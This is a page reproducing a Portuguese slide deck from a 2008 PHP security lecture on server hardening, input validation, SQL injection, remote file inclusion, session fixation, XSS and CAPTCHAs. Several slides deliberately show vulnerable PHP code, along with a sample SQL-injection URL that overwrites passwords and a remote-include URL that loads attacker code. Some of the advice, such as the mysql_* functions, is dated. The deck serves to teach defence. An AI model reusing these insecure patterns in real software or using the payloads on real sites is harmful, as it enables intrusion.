Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Segurança (in portuguese)

1,035 views

Published on

Published in: Technology
  • Be the first to comment

Segurança (in portuguese)

  1. 1. Segurança PHP Advanced - 19 de Setembro de 2008 Bruno Pedro <bpedro@tarpipe.com>
  2. 2. PHP Advanced Conteúdo • Melhorar a segurança • Validação de dados • Prevenção contra scripts • Projecto • Resumo Segurança 2
  3. 3. PHP Advanced Sistema Operativo • Manter o Sistema Operativo sempre actualizado • Instalar todas as actualizações de segurança disponibilizadas • Desligar todos os serviços não utilizados • Auditoria de Sistema Operativo: • Nessus: http://www.nessus.org/ Segurança 3
  4. 4. PHP Advanced Apache • Executar com user ID próprio • Desligar módulo mod_autoindex • Negar acesso a directórios não necessários • templates, templates_c, lib, etc • Negar acesso a ficheiros não necessários • *.bak, *.tpl, *.*~, etc Segurança 4
  5. 5. PHP Advanced PHP • display_errors = Off • log_errors = On • error_log = /var/log/php.log • register_globals = Off • session.use_trans_sid = 0 • open_basedir = /directorio/do/website • expose_php = Off Segurança 5
  6. 6. PHP Advanced Input do utilizador • Variáveis globais são um problema • register_globals está desligado por omissão • Mesmo assim convém inicializar todas as variáveis utilizadas Segurança 6
  7. 7. PHP Advanced Input do Utilizador <?php // (...) if ($auth) { $fullAccess = true; } if ($fullAccess) { // (...) } ?> Segurança 7
  8. 8. PHP Advanced Formulários • Nunca confiar no que o utilizador introduz num formulário • Nunca fazer include’s ou require’s utilizando variáveis provenientes de formulários • Nunca manipular ficheiros utilizando variáveis provenientes de formulários • É possível efectuar um POST a formulário através de JavaScript, mesmo sem estar na página do formulário Segurança 8
  9. 9. PHP Advanced Formulários <?php $fp = fopen($_POST[‘username’], ‘a’); fputs($fp, ‘Nome: ‘ . $_POST[‘name’]); fclose($fp); ?> Segurança 9
  10. 10. PHP Advanced Bases de Dados • mysql_real_escape_string() • Utilizar plicas em todos os valores sempre que possível • Atenção a aplicações que usem paginação e validar o parâmetro correspondente ao número da página Segurança 10
  11. 11. PHP Advanced Bases de Dados <?php // URL: // http://example.com/?table=user+SET+password=%3Dmypass%3D+%23 $res = mysql_query(‘UPDATE ‘ . $_GET[‘table’] . ‘ SET visits=visits+1 WHERE id=’ . $_GET[‘id’]); // Query realmente executado: // UPDATE user SET password=”mypass” # SET visits=visits+1 WHERE id= ?> Segurança 11
  12. 12. PHP Advanced Programas externos • Nunca confiar em parâmetros de GET e passá-los como parâmetros de programas externos • Utilizar sempre escapeshellarg() em todos os parâmetros de programas externos Segurança 12
  13. 13. PHP Advanced Inclusão de Scripts • O bug mais comum é relacionado com a inclusão de scripts baseada em parâmetros GET • Desligar o allow_url_fopen sempre que possível para não permitir a abertura de ficheiros remotos Segurança 13
  14. 14. PHP Advanced Inclusão de Scripts <?php // URL: // http://example.com/?page=http://mysite.com/attack include $_GET[‘page’] . ‘.inc’; // Na realidade é feito um include a // http://mysite.com/attack.inc // que poderá ter código malicioso ?> Segurança 14
  15. 15. PHP Advanced Sessões • Poderá ser possível injectar o ID da sessão através de parâmetro GET ou de Cookie, tomando conta de uma sessão activa • Esta técnica tem o nome de Session Fixation ou Session Hijacking • Utilizar a função session_regenerate_id() Segurança 15
  16. 16. PHP Advanced XSS • Nunca escrever directamente conteúdo proveniente de formulários ou de parâmetros GET • É possível introduzir conteúdo num formulário que, ao ser escrito, abra uma localização remota e permita ao atacante obter informação sobre o utilizador Segurança 16
  17. 17. PHP Advanced Prevenção contra scripts • No registo • Garante que só um humano se consegue registar • Evita registos em quantidade ou um ataque propositado • Na autenticação • Evita tentativas de obter autenticação através de força bruta Segurança 17
  18. 18. PHP Advanced Prevenção contra scripts • CAPTCHA • Completely Automated Public Turing tests to tell Computers and Humans Apart • Garante que o formulário foi preenchido por um humano • Validação por Email • OpenID Segurança 18
  19. 19. PHP Advanced PEAR::Text_CAPTCHA • Instalação • pear install Text_CAPTCHA • pear install Image_Text • Obtenção de uma font TTF Segurança 19
  20. 20. PHP Advanced PEAR::Text_CAPTCHA Segurança 20
  21. 21. PHP Advanced PEAR::Text_CAPTCHA Segurança 21
  22. 22. PHP Advanced PEAR::Text_CAPTCHA Segurança 22
  23. 23. PHP Advanced reCAPTCHA • Web Service • Biblioteca em PHP • Disponível em http://recaptcha.net/ • Ajuda a digitalizar livros Segurança 23
  24. 24. PHP Advanced Validação por Email • Tornar obrigatória a inserção do endereço de Email no formulário • Após o formulário ter sido preenchido gerar um ID e gravá-lo juntamente com os dados • Enviar uma mensagem ao endereço introduzido com instruções de confirmação Segurança 24
  25. 25. PHP Advanced Projecto • Escolher um dos mecanismos de prevenção contra scripts e implementá-lo nos formulários de registo e de autenticação Segurança 25
  26. 26. PHP Advanced Resumo • Melhorias na segurança • XSS • CAPTCHA • Validação por Email • Implementação Segurança 26
  27. 27. PHP Summer School Questões? OOP em PHP 27
  28. 28. PHP Advanced Mais informação • O meu blog: http://unfoldingtheweb.com/ • Manual de PHP: http://www.php.net/ • PEAR: http://pear.php.net/ • reCAPTCHA: http://recaptcha.net/ Segurança 28

×